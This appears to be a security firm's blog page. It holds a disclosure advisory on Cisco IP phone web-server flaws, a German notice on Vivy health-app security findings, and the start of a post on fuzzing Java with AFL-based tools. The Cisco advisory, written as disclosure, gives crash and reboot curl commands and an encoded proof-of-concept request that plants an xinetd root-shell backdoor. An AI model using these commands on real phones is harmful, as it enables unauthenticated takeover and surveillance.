        * Cisco IP Conference Phone 8832
        * IP phones running Multiplatform Firmware
    
    * 3.4 Phone's file upload affected by path traversal and null
          injection
      CVE-2019-1765
      modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
      URL:
    https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
      CVSS Base Score according to Cisco: 8.1
    
      Affected products according to Cisco:
        * 11.0(5) for Wireless IP Phone 8821-EX
        * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
          IP Phone 8800 Series
    
      Not affected according to Cisco:
        * Cisco IP Phone 7800 Series
        * Cisco IP Conference Phone 8831
        * Cisco IP Conference Phone 7832
        * IP phones running Multiplatform Firmware 
    
    * 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
          upload function
      CVE-2019-1764
      modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3
      URL:
    https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
      CVSS Base Score according to Cisco:  8.1
      
      Affected products according to Cisco:
        * 11.0(5) for Wireless IP Phone 8821-EX
        * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
          IP Phone 8800 Series
    
      Not affected according to Cisco:
        * Cisco IP Phone 7800 Series
        * Cisco IP Conference Phone 8831
        * Cisco IP Conference Phone 7832
        * IP phones running Multiplatform Firmware
    
    ---------------------------------------------------------------------
    
    3. Details
    
    ---------------------------------------------------------------------
    
    
    3.1 Buffer overflow in the phone's webserver
    
    The embedded web-server running on the Cisco IP phones suffers from  a
    buffer-overflow vulnerability. During testing, it was confirmed that a
    maliciously crafted,  unauthenticated request  is able  to trigger the
    vulnerability and results in re-booting of the phone. Further analysis
    of the phone firmware showed that the vulnerability may result in
    remote code execution in the context of the web server process.
    
    The  vulnerable  function  is  extractUsernameAndPassword()  for   the
    analyzed CP-8832 and CP-8845/65 phone firmware versions. The  function
    is called whenever a HTTP request needs to be authenticated  according
    to  the  HTTP  "Basic"  authentication  schema.  First,  the  function
    allocates  a 257  byte-sized temporary  buffer tmp_buf  on the  stack.
    Then,  the  HTTP authorization  header  is acquired  through  the HTTP
    connection  object  conn.  The authorization  header  is  decoded from
    base64 representation by the function decodeUserPassword() and  stored
    into tmp_buf. Before  calling decodeUserPassword(), the  authorization
    header string length is not processed safely. The pseudo-code below
    highlights the problematic computation step:
        
      char tmp_buf[257];
      memset(tmp_buf, 0, sizeof(tmp_buf));
      [...]
      unsigned len = strlen(authorization_header);
      len = len & 0xffff;
      decodeUserPassword(authorization_header, len, tmp_buf);
    
    Instead, the following code should have been employed to correctly
    limit the input to the decodeUserPassword() function as follows:
     
      char tmp_buf[257];
      memset(tmp_buf, 0, sizeof(tmp_buf));
      [...]
      unsigned len = strlen(authorization_header);
      if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform
      decodeUserPassword(authorization_header, len, tmp_buf);
    
    Because of this programming error, an input of up to 65535  characters
    can  be  passed  to decodeUserPassword(),  which  will  in consequence
    decode and  write up  to 49152  bytes into  tmp_buf and the subsequent
    memory area on the stack. The saved stack pointer and program  counter
    are located right behind tmp_buf and therefore can be overwritten with
    arbitrary  values.  When  the  function   extractUsernameAndPassword()
    returns, the  modified stack  pointer and  program counter  are loaded
    from memory. When arbitrary  garbage values are supplied,  the program
    will typically crash and the phone will reboot. It is likely that with
    sufficient  knowledge  of  the memory  layout  and  program state,  an
    attacker may inject carefully prepared data and execute arbitrary
    code.
    
    The following HTTP request was shown to trigger the vulnerability
    (HTTP authorization header truncated for readability):
     
    GET /CGI/Java/x HTTP/1.1
    Host: localhost
    User-Agent: curl/7.58.0
    Accept: */*
    Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii...
    Connection: close
     
     
    Such a request can be generated with the command below and sent to the
    HTTP or HTTPS port of the phone's web server:
     
    curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo
     
    In     a      disassembly     of      the     vulnerable      function
    extractUsernameAndPassword() it  can be  observed that  the code lacks
    set-up and  validation of  stack canaries  in the  function prolog and
    epilog.  Therefore, an  attacker is  able to  trivially overwrite  the
    saved  program  counter located  on  the stack.  The  underlying Linux
    kernel   has   Address-Space  Layout   Randomization   (ASLR)  enabled
    (/proc/sys/kernel/randomize_va_space  was observed  to be  set to  the
    value 2), but the verbose  externally exposed message log via  the web
    server contains  memory addresses  from the  HTTP server  processes as
    shown below. Therefore, an attacker is likely to correctly guess
    memory addresses and becomes able to defeat the ASLR countermeasure.
     
    7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection  -
    Added SSL connection handle 0x40f82660, connDesc 90 to table.
     
    
    3.2 Phone's web interface fails to restrict access to functions
    
    The IP phone's web  server implements authorization checks  to control
    access to functions. A programming error allows to bypass these checks
    and access internal functions without authentication. For example, the
    phone can  be rebooted.  This issue  facilitated the  proof-of-concept
    exploit to gain remote root access to IP phones described in the 
    chapter 5.
    
    Internally, web pages that  allow interaction with internal  functions
    (in contrast to  web pages that  only display information)  are called
    "editable pages". If  an incoming request  is recognized to  access an
    editable page, further checks for authentication and authorization are
    performed.
     
    The disassembly of the vulnerable function isEditablePage() in the two
    firmware  versions   is  rewritten   as  the   pseudo-code  below  and
    illustrates how the function employs strcmp() to analyze incoming HTTP
    requests. It fails to produce  the correct result when the  input does
    not exactly match the test strings. This is possible for example, when
    the parameter string contains additional but insignificant characters
    like an ampersand ('&').
     
    int isEditablePage(
        char *uri,    // query path
        char *params, // query parameters
    ) {
        return (
            strcmp(uri, "/CGI/Java/Serviceability") == 0 && (
                strcmp(params, "adapter=datetime") == 0 ||
                strcmp(params, "adapter=datetimelocal") == 0 ||
                strcmp(params, "adapter=datetimespec") == 0 ||
    ...
            )
        ) || ... ;
    }
     
    The following command  exploits the described  behavior to reboot  the
    phone. 
     
    curl -k -d 1
    "https:///CGI/Java/Serviceability?adapter=do_restart&"
    
    Another exploit of the described issue is shown in chapter 5.
    
    3.3 File upload vulnerability in the phone's web interface
    
    The IP phone contains a function that allows uploading of files to the
    phone's  file  system.  It  is  usually  employed  to  upload   custom
    certificates and constructed  in a non-standard  way, i.e. it  already
    writes data to a local file during an initial parameter parsing  step.
    As a  consequence, it  is possible  to write  arbitrary file contents,
    even  when  later processing  steps  fail or  no  further actions  are
    performed on the data. This may lead to denial-of-service  conditions,
    for example  storage media  failure or  storage space  exhaustion. The
    ability to persist arbitrary  data on the device  facilitated creation
    of the exploit described in the chapter 5.
     
    The problematic file upload function is implemented in Java.  Incoming
    HTTP  POST  requests  are  handled  by  the  doPost  method.  When the
    parameter  adapter  is  equal  to  "loginPost",  "upload_usercert"  or
    "upload_rootca", the  method parseFormResults()  is called  to process
    the request body. parseFormResults() iterates over all body parts  and
    in turn calls parseHeader() for  each. Instead of postponing any  data
    processing steps until all input has fully been validated, the  method
    parseFormResults() has the side-effect of writing the parts named
    "rootca" and "usercert" to the file system.
    
    
    3.4 Phone's file upload affected by path traversal and null injection
    
    The IP phones  contain a file  upload function which  is vulnerable to
    path traversal and null byte  injection. An attacker is able  to write
    to arbitrary  files in  the file  system, with  permissions of the web
    server process. The  proof of concept  exploit in the  chapter 5 shows
    how  this issue  enabled writing  to configuration  file locations  to
    place a persistent back-door on the phone.
     
    The  problematic  file upload  function  is implemented  in  Java. The
    parseHeader() method constructs target file paths with the two
    following statements:
     
    this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca +
    ".up";
     
    this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert +
    ".up";
     
    An  attacker  directly  controls  the  member  variables  rootca   and
    usercert. By  prefixing a  desired path  with a  sequence of  dots and
    slashes and terminating the string with a null character, an arbitrary
    file path can be written to.
    
    
    3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
    upload function
    
    The web interface available on the phones contains an upload  function
    for user-provided certificates. To protect against Cross-Site  Request
    Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the  Anti-
    CSRF token is  validated too late,  after input data  has already been
    written  to  the  file  system.  Therefore,  the  Anti-CSRF  token  is
    ineffective  and  does  not  protect  the  upload  function  from CSRF
    attacks.  An  attacker may  abuse  this behavior  to  exploit security
    vulnerabilities  in the  phone's web  server in  a CSRF-scenario:  For
    example, by luring  an internet-connected victim  web browser onto  an
    attacker-controlled page. If the (possibly authenticated) victim  also
    has access to the phone's web server, the attacker-controlled page may
    submit malicious requests to the phone.
     
    The method  parseFormResults() in  the upload  implementation verifies
    the CSRFToken parameter as  final step. This is  insufficient, because
    actions  with  substantial side-effects  have  already been  performed
    before the check raises an exception. The exception caused by  failure
    of   the   CSRFToken   check   does   not   inhibit   exploitation  of
    vulnerabilities, as demonstrated by the proof-of-concept in chapter 5.
    
    ---------------------------------------------------------------------
    
    4. Impact
    
    ---------------------------------------------------------------------
    
    modzero identified several critical vulnerabilities in Cisco phone web
    interfaces which lead  to a full  compromise of the  phone without any
    authentication.  An attacker  could exploit  these vulnerabilities  to
    obtain sensitive call data, to perform call fraud, as well as an audio
    and video surveillance of offices, and to use the phones as attack
    platform for other infrastructure.
    
    ---------------------------------------------------------------------
    
    5. Proof of concept exploit
    
    ---------------------------------------------------------------------
    
    An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1-
    1) was successfully compromised  via exploitation of a  combination of
    vulnerabilities. The  command below  performs a  carefully constructed
    HTTP request to the phone's web server to exploit the vulnerabilities 
    documented in this advisory:
     
    echo
    "H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe
    jAzjLW99wkCZ8WsNlItXE"\
    "mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy
    Afhc0J9NyoqoYoQgrB06DaSjw5"\
    "UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9
    u+uVB8Xbh1WQtPExeckFQBAAA="|
    base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type:
    multipart/form-data; boundary=xxx" \
    "https:///CGI/Java/Serviceability?adapter=loginPost&"
     
    The first exploited  vulnerability is the  issue described in  section
    3.1:  The  authorization check  to  access the  loginPost  function is
    bypassed by appending an ampersand (`&') symbol to the URL. The  input
    payload data  is written  to the  file system  due to  the file upload
    vulnerability  described  in  section  3.3.  By  exploiting  the  path
    traversal and null injection vulnerability documented in section  3.4,
    an internal path can be  specified to write into configuration  files.
    The attacker does  not provide a  valid anti-CSRF token,  which causes
    the server to respond with HTTP  error 400 Bad Request. But this  does
    not stop the attack, because of the vulnerable anti-CSRF token
    validation mechanism described in section 3.5.
     
    The malicious request writes two  files. First, a configuration for  a
    backdoor    xinetd    service    is    written    to    the   location
    /usr/local/xinetd/x. The  service consists  of a  root (user  0) shell
    listening on  tcp port  22. (Port  22 was  selected, because  observed
    firewall  configuration  suggested  that  traffic  to  this  port   is
    typically allowed and expected.  If another service is  already active
    on port 22, this may need to be adjusted.) The xinetd configuration is
    reproduced below:
     
    service x
    {
    type = unlisted
    protocol = tcp
    wait = no
    user = 0
    group = 0
    server = /bin/sh
    server_args = -i
    port = 22
    }
     
    The  second  part  of  the   requests  writes  the  empty  string   to
    /var/run/xinetd.pid,  effectively truncating  the file.  This file  is
    periodically    inspected   by    the   cron    script   located    in
    /etc/cron.5mins/02xinetdmon,  which is  shown below.  The cron  script
    executes  every fifth  minute in  the hour  and after  xinetd.pid was
    tampered with, will ensure that xinetd starts with the backdoor
    configuration.
     
    #!/bin/sh
     
    xinetd_pid=$( cat /var/run/xinetd.pid )
    if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then
       # In dd/mm/yy/hour/min/sec format
       currtime=$(date +"%d%m%y%H%M%S")
       echo "$currtime: cannot find xinetd" >>
    /usr/local/backtraces/xinetd.crash
       echo "$currtime: starting xinetd" >>
    /usr/local/backtraces/xinetd.crash
       /etc/init.d/xinetd.sh start
    fi
     
    After waiting  until the  next fifth  minute has  passed, the backdoor
    service is started and can be accessed via connecting to port 22 of
    the phone.
    
    ---------------------------------------------------------------------
    
    6. Workaround
    
    ---------------------------------------------------------------------
    
    Disabling the web interface on the phone eliminates the risk.
    
    ---------------------------------------------------------------------
    
    7. Fix
    
    ---------------------------------------------------------------------
    
    According to the Cisco advisories, fixes are available.
    
    ---------------------------------------------------------------------
    
    8. Credits
    
    ---------------------------------------------------------------------
    
     * David Gullasch
    
    ---------------------------------------------------------------------
    
    9. About modzero
    
    ---------------------------------------------------------------------
    
    The independent Swiss company modzero AG assists clients with security
    analysis in the complex areas  of computer technology. The focus  lies
    on  highly  detailed  technical  analysis  of  concepts,  software and
    hardware  components  as  well   as  the  development  of   individual
    solutions. Colleagues  at modzero  AG work  exclusively in  practical,
    highly technical computer-security areas and can draw on decades of
    experience in various platforms, system concepts, and designs.
    
    https://www.modzero.ch
    
    contact@modzero.ch
    
    ---------------------------------------------------------------------
    
    10. Disclaimer
    
    ---------------------------------------------------------------------
    
    The information in the advisory is believed to be accurate at the time
    of publishing  based on  currently available  information. Use  of the
    information  constitutes acceptance  for use  in an  AS IS  condition.
    There are no warranties with  regard to this information. Neither  the
    author  nor  the  publisher  accepts  any  liability  for  any direct,
    indirect, or consequential loss or damage arising from use of, or
    reliance on, this information.
    

    Posted by modzero | Permanent link | File under: security, cisco, advisory

    2018-10-30

    Sicherheitsmängel in e-Health Anwendungen

    Schwerwiegende Sicherheitsmängel in Elektronischer Gesundheitsakte "Vivy"

    Am 21. September entdeckte unser Kollege Martin Tschirsich kurz nach der Veröffentlichung der Vivy Plattform zahlreiche sicherheitskritische Fehler in der Anwendung.

    Daraufhin versuchten wir sofort einen Kontakt zu Sicherheitsverantwortlichen bei Vivy herzustellen. Dieser Kontakt kam auch sehr bald zustande, und es folgten zahlreiche Telefonate und ein Meeting in den Geschäftsräumen von Vivy in Berlin-Mitte.

    Am 4. Oktober um 18 Uhr erreichte uns eine PGP-signierte Email von einem der Vivy-Geschäftsführer, in der Vivy um eine Verlängerung von zwei Wochen bat, da einige Sicherheitsprobleme der Crypto-Implementierung noch nicht behoben werden konnten. Diese zwei Wochen haben wir selbstverständlich eingeräumt, da wir keine Berichte über ungepatchte Schwachstellen veröffentlichen wollten.

    Heute veröffentlichen wir in Koordination mit Vivy unseren Bericht über die auf dieser e-Health Plattform gefundenen Probleme. Dies tun wir, weil uns die Sensibilisierung von Patienten und Anwendern ein Kernanliegen darstellt. Zudem wollen wir mit der kritischen Betrachtung einer solchen Plattform allen Firmen im e-Health Sektor deutlich machen, dass ihnen eine unglaublich große Verantwortung obliegt. Es muss von jeder Seite um jeden Preis sichergestellt werden, dass Dokumente wie Gesundheitsdaten einen besonderen Schutz genießen müssen.

    Sämtliche Befunde ließen sich praktisch verifizieren und sind keineswegs theoretischer Natur. Zudem mussten auch kaum komplexe Voraussetzungen wie beispielsweise ein kompromittierter Rechner oder Server erfüllt sein. Zur Untermauerung unserer Aussagen, veröffentlichen wir den technischen Bericht [1] und die folgende, kurze Meldung:

    Seit wenigen Wochen können rund 13,5 Millionen Krankenversicherte ihre Gesundheitsdaten mit "Vivy" selbst verwalten. Doch das schweizer-deutsche IT-Sicherheits-Unternehmen modzero hat herausgefunden: Nicht nur Patienten und Ärzte, auch Unbefugte konnten die Gesundheitsdaten lesen - und zum Teil auch manipulieren. modzero veröffentlicht hierzu nun einen Sicherheitsbericht. Zuvor wurde Vivy über die Sicherheitslücken informiert und es wurde ausreichend Gelegenheit zu deren Beseitigung gegeben. Der Zeitpunkt dieser Veröffentlichung wurde mit den Verantwortlichen koordiniert.

    Was ist "Vivy"?

    Die Gesundheits-App Vivy ist angetreten, um Versicherten von 14 gesetzlichen und zwei privaten Krankenkassen als Assisstentin in Sachen Gesundheit zu dienen. Neben der Pflege von Medikamentenplänen und Impfterminen soll die App den Austausch von Gesundheitsakten wie Rezepten, Befunden und Laborwerten zwischen Ärzten und Patienten ermöglichen. Vivy wirbt dabei mit "Sicherheit auf höchstem Niveau": "Es gibt kaum sensiblere Daten als die zur eigenen Gesundheit. Daher ist es für Vivy von höchster Priorität, medizinischen Daten vor jeglichem Zugriff unberechtigter Dritter zu schützen." [0]

    Was ist passiert?

    Mit großen Sicherheitsversprechen betrat der Anbieter Vivy im September 2018 den Markt der Gesundheits-Apps. Der Hersteller gibt an, Patientendaten durch sichere Authentifizierungs-Methoden und moderne Verschlüsselung vor unberechtigtem Zugriff zu schützen.

    Die beworbenen Schutzmaßnahmen entsprechen grundsätzlich gängiger Praxis zum Schutz sensibler Daten, aber die Betonung der Sicherheitsmerkmale liest sich für IT-Sicherheitsforscher wie eine Einladung, dies einmal genauer zu prüfen. Unser Kollege Martin Tschirsich ist dieser Einladung gefolgt und fand innerhalb kürzester Zeit gravierende Sicherheitslücken in der Vivy-App und den dazugehörigen Servern.

    Daraufhin meldete modzero die Sicherheitslücken unverzüglich bei Vivy, um einen sogenannten "Coordinated Disclosure"-Prozess einzuleiten. In Abstimmung mit Vivy wurde nach initialem Kontakt am 21. September 2018 bis zum 30. Oktober 2018 Zeit eingeräumt, um die Sicherheitslücken zu beheben, bevor modzero einen Sicherheitsbericht veröffentlicht.

    Die Veröffentlichung dieses Sicherheitsberichts soll die Öffentlichkeit dafür sensibilisieren, wie wichtig ein transparenter Entwicklungs- und Feedback-Prozess insbesondere im E-Health-Bereich ist.

    Wie schwerwiegend sind die Probleme?

    modzero stellte mehrere Sicherheitslücken verschiedener Kritikalität fest. Für eine ausführliche Beschreibung aller gefundenen Sicherheitsprobleme sei auf den Report [1] verwiesen.

    Die kritischsten Punkte waren: Informationen darüber, wer wann mit welchem Arzt Gesundheitsdaten geteilt hatte, lagen ungeschützt für jeden lesbar im Netz. Versicherte konnten durch die Informations-Lecks anhand von Name, Foto, E-Mailadresse, Geburtsdatum und Versichertennummer identifiziert werden. Auch Name, Adresse und Fachrichtung des kontaktierten Arztes konnten ausgelesen werden. Unbefugte konnten über das Internet alle Dokumente, die an einen Arzt gesendet werden sollten, abfangen und entschlüsseln. Darüber hinaus fand modzero zahlreiche konzeptionelle Schwächen im Rahmen der Nutzung der RSA-Verschlüsselung und des Schlüssel-Managements. So konnten beispielsweise über trivial ausnutzbare Fehler in der Server-Anwendung die geheimen Schlüssel der Ärzte ausgelesen werden.

    Wie geht es jetzt weiter?

    Die Zusammenarbeit im Rahmen dieses Veröffentlichungs-Prozesses mit Vivy verlief positiv. modzero wurde zugesichert, geeignete Lösungen und Gegenmaßnahmen für die gefundenen Sicherheitsprobleme zu entwickeln. Ob diese tatsächlich vollumfänglich und auch wirksam umgesetzt wurden, hat modzero nicht geprüft und plant dies auch nicht. Den Anwendern wird empfohlen, Updates der Vivy-App zeitnah einzuspielen.

    modzero steht derzeit in Kontakt mit einem weiteren Anbieter einer Gesundheits-App, da auch die Konkurrenz mit durchaus schwerwiegenden Sicherheitsproblemen zu kämpfen hat. Auch hier legt modzero zum Schutz der Daten betroffener Patienten Wert auf einen angemessenen Zeitraum zum Beheben der Probleme.

    Weiterführende Informationen

    modzero ist ein 2011 in Zürich gegründetes schweizer-deutsches IT-Sicherheits-Unternehmen. modzero berät Kunden vor und während der Entwicklung von sicherheitskritischen Anwendungen und bietet tiefgehende technische Analysen, insbesondere im Bereich kryptografischer Anwendungen.

    Die Schwachstellen wurden von Martin Tschirsich gefunden und gemeinsam mit Thorsten Schröder im Bericht dokumentiert.

    Detaillierte technische Informationen finden sich auf dem modzero-Blog [2] und im ausführlichen Bericht [1].

    [0] https://www.vivy.com/sicherheit/
    [1] Vivy Sicherheits-Bericht: https://www.modzero.ch/static/vivy-app-security-final.pdf
    [2] Blog-Post zur Veröffentlichung auf dem Webserver von modzero: https://www.modzero.ch/modlog/archives/2018/10/30/sicherheitsm_aumlngel_in_e-health_anwendungen/index.html
    [3] https://www.vivy.com/fileadmin/user_upload/007_presse/180918_Vivy_-_PM_September_final.pdf


    Posted by Thorsten Schroeder | Permanent link | File under: mobile, security, software, hacking, modzero, crypto, advisory

    2018-09-20

    Java Bugs with and without Fuzzing

    AFL-based Java fuzzers and the Java Security Manager

    In the last half a year I have been doing some fuzzing with AFL-based Java fuzzers, namely Kelinci and JQF. I didn't really work with java-afl. The contents of this post are: This blog post will mention several files, they are included on https://github.com/modzero/mod0javaFuzzingResults. Additionally, the zip file includes several other files that reproduce the same bugs.

    AFL-based Java fuzzing tools

    The AFL fuzzer is really popular nowadays as it performs instrumented fuzzing. If you are not familiar with AFL, it's probably better if you at least quickly look at AFL before you read this post. It is especially important to understand how AFL handles hangs (test cases that take too much time to process) and crashes (e.g. target program segfault).

    Kelinci is one of the first AFL for Java implementations and is very promising, although the approach with having two processes per fuzzing instance is a little clumsy and can get confusing. One process is the native C side, which takes mutated inputs produced by AFL and sends them to the second process via TCP socket. The second process is the Java process that feeds the input to the target program and sends back the code paths taken with this input. There are certain error messages in the Java part of this fuzzer that are not always exactly clear (at least to me), but they seem to indicate that the fuzzer is not running in a healthy state anymore. However, so far Kelinci worked very well for me and came up with a lot of results. There has not been any development for 7 months, so I hope the author will pick it up again.

    JQF is actively maintained and the last changes were commited a couple of days ago. It does not take the classic fuzzer approach that most fuzzers for security researchers take, but instead is based on Java Unit Tests and focuses more on developers. It currently has only limited support of AFL's -t switch for the timeout settings and there is also only rudimentary afl-cmin support. While this is perfect for developers using Unit Tests, it is not the most flexible fuzzer for security researchers fuzzing Java code.

    java-afl has not been updated in four months. This is actually the fuzzer I didn't successfully use at all. I tried to ask the developer about how to run it properly, but didn't get an answer that would help me run it on the test case I had in mind. If you have better luck with java-afl, please let me know, it would be interesting to hear how this fuzzer performs.

    First steps with Apache Commons

    I started with the Apache Common's Imaging JPEG parser as a target. The choice was simple because it was one of the examples explained for the Kelinci fuzzer. Apache Commons is a very popular library for all kind of things that are missing or incomplete in the Java standard library. When going through the author's example, I realized that he gave the fuzzer only one input file containing the text "hello", which is not a JPEG file and not a very good starting corpus. While it's probably lcamtuf's very interesting experiment that makes people believe using such corpus data is a valid choice, it is not a valid choice for proper fuzzing runs. lcamtuf's experiment was good to proof the point that the fuzzer is smart, but for productive fuzzing proper input files have to be used to achieve good results. Fuzzing is all about corpus data in the end. So I took the JPEG files in lcamtuf's corpus on the AFL website and some files from my private collection. The fuzzer quickly turned up with an additional ArrayIndexOutOfBoundsException which I reported to Apache (file ArrayIndexOutOfBoundsException_DhtSegment_79.jpeg). That was quiet an easy start into Java fuzzing. If you would do the same for other parsers of Apache Commons (for example PNG parser), you would most probably find some more unchecked exceptions.

    Goals: Taking a step back

    After this quick experiment I gave the idea of fuzzing Java some more thoughts. Fuzzings is originally applied to programs that are not memory safe, hoping that we are able to find memory corruption issues. Out of bound read or writes in Java code simply do not result in memory corruption but in more or less harmless Exceptions such as IndexOutOfBoundsException. While it might be desirable to find (code robustness) issues and might result in Denial of Service issues, the severity of these issues is usually low. The question is what kind of behavior and fuzzing results are we looking for? There are different scenarios that might be of interest, but the attack vector (how does the attacker exploit the issue in the real world?) matters a lot when looking at them. Here is my rough (over)view on Java fuzzing:

    • Finding bugs in the JVM.
      • Arbitrary Java code as input. This could be helpful in more exotic scenarios, for example when you need to escape from a sandboxed JVM. In most other scenarios this attack vector is probably just unrealistic, as an attacker would be executing Java code already.
      • Feeding data into built-in classes/functions (fuzzing the standard library), such as strings. This is not very likely to come up with results, but you never know, maybe there are Java deserialization vulnerabilities lurking deep in the JVM code?
      • Finding low-severity or non-security issues such as code that throws an Exception it didn't declare to throw (RuntimeExceptions).
    • Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don't encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
    • Fuzzing pure Java code.
      • We could go for custom goals. This might depend on your business logic. For example, if the code heavily uses file read/writes maybe there is some kind of race condition? Also the idea of differential fuzzing for crypto libraries makes a lot of sense.
      • Finding "ressource management" issues, such as Denial of Service (DoS) issues, OutOfMemoryExceptions, high CPU load, high disk space usage, or functions that never return.
      • Finding low-severity or non-security issues such as RuntimeExceptions.
      • Finding well-known security issues for Java code, such as Java deserialization vulnerabilities, Server Side Request Forgery (SSRF), and External Entity Injection (XXE).
    I was especially interested in the last three points in this list: Finding ressource issues, RuntimeExceptions and well-known Java security issues. While I already found a RuntimeException in my little experiment described above, I was pretty sure that I would be able to detect certain ressource management issues by checking the "hangs" directory of AFL. However, the last point of finding well-known security issues such as SSRF seems tricky. The fuzzer would need additional instrumentation or sanitizers to detect such insecure behavior. Just as Address Sanitizer (ASAN) aborts on invalid memory access for native code (which then leads to a crash inside AFL), it would be nice to have sanitizers that take care about such areas in the Java world. A file sanitizer for example might take a whitelist of files that are allowed to be accessed by the process, but abort if any other file is accessed. This could be used to detect XXE and SSRF scenarios. A network sanitizer might do the same if sockets are used. Imagine a Java image file parsing library as a target. From a security perspective such a library should never open network sockets, as this would indicate Server Side Request forgery. This is a very realistic scenario, and I did find XXE issues in PNG XMP metadata parsing libraries before.

    Java Security Manager

    After doing some research it turned out that there is nothing like a file whitelist sanitizer for native code where AFL is usually used. So if we would fuzz any C/C++ code we would have to write our own parser and as stated by Jakub Wilk it might be tricky to implement due to async-signal-safe filesystem functions. So if you feel like writing one, please go ahead.

    Back to Java I found out that there is already such a sanitizer. The best part is that it's a built-in feature of the JVM and it's called Java Security Manager. Look at this simple Java Security Manager policy file I created for running the Kelinci fuzzer with our simple Apache Commons JPEG parsing code:

    grant {
        permission java.io.FilePermission "/tmp/*", "read,write,delete";
        permission java.io.FilePermission "in_dir/*", "read";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
        permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
        permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
        permission java.lang.RuntimePermission "modifyThread";
    };
    

    All it does is allowing file access to the temporary directory, reading from the input directory (in_dir) and writing to the output directory (out_dir) of AFL. Moreover, it allows the Kelinci Java process to listen on TCP port 7007 as well as to modify other threads. As the Security Manager is built into every Java JVM, you can simply start it with your usual command line with two more arguments:

    java -Djava.security.manager -Djava.security.policy=java-security-policy.txt
    

    So in our case we can run the Kelinci fuzzer server process with:

    java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@
    

    I went back and ran the Kelinci fuzzer some more hours on the Apache Commons JPEG parser without getting any new results with the Java Security Manager. However, at this point I was convinced that the Java Security Manager would take Java fuzzing to the next level. I just needed a different target first.

    Targeting Apache Tika

    Fast forward several days later, I stumbled over the Apache Tika project. As Apache Tika was formerly part of Apache Lucene, I was convinced that a lot of servers on the Internet would allow users to upload arbitrary files to be parsed by Apache Tika. As I'm currently maintaining another related research about web based file upload functionalities (UploadScanner Burp extension) this got me even more interested.

    Apache Tika is a content analysis toolkit and can extract text content from over a thousand different file formats. A quick'n'dirty grep-estimate turned out that it has about 247 Java JAR files as dependencies at compile time. Apache Tika also had some severe security issues in the past. So as a test target Apache Tika seemed to fit perfectly. On the other hand I also knew that using such a big code base is a bad idea when fuzzing with AFL. AFL will more or less quickly deplete the fuzzing bitmap when the instrumented code is too large. Afterwards, AFL will be unable to detect when an input results in an interesting code path being taken. I was also not sure if I could successfully use the Java fuzzers to instrument the huge Apache Tika project. However, I decided to go on with this experiment.

    I first tried to get things running with Kelinci, but ran into multiple issues and ended up creating a "works-for-me" Kelinci fork. After Kelinci was running, I also tried to get the JQF fuzzer running, however, I ran into similar but distinct problems and therefore decided to stick with Kelinci at this point. For Tika I had to adopt the Java Security Manager Policy:

    grant {
        //Permissions required by Kelinci
        permission java.lang.RuntimePermission "modifyThread";
        
        permission java.net.SocketPermission "localhost:7007", "listen, resolve";
        permission java.net.SocketPermission "localhost:7008", "listen, resolve";
        permission java.net.SocketPermission "localhost:7009", "listen, resolve";
        permission java.net.SocketPermission "localhost:7010", "listen, resolve";
        permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
        
        permission java.io.FilePermission "in_dir/*", "read";
        permission java.io.FilePermission "corpus/*", "read, write";
        permission java.io.FilePermission "crashes/*", "read";
        permission java.io.FilePermission "out_dir/*", "read, write";
        
        //Permissions required by Tika
        permission java.io.FilePermission "tika-app-1.17.jar", "read";
        permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";
    
        permission java.io.FilePermission "/tmp/*", "read, write, delete";
        
        permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
        
        permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
        permission java.util.PropertyPermission "tika.config", "read";
        permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
        permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
        permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
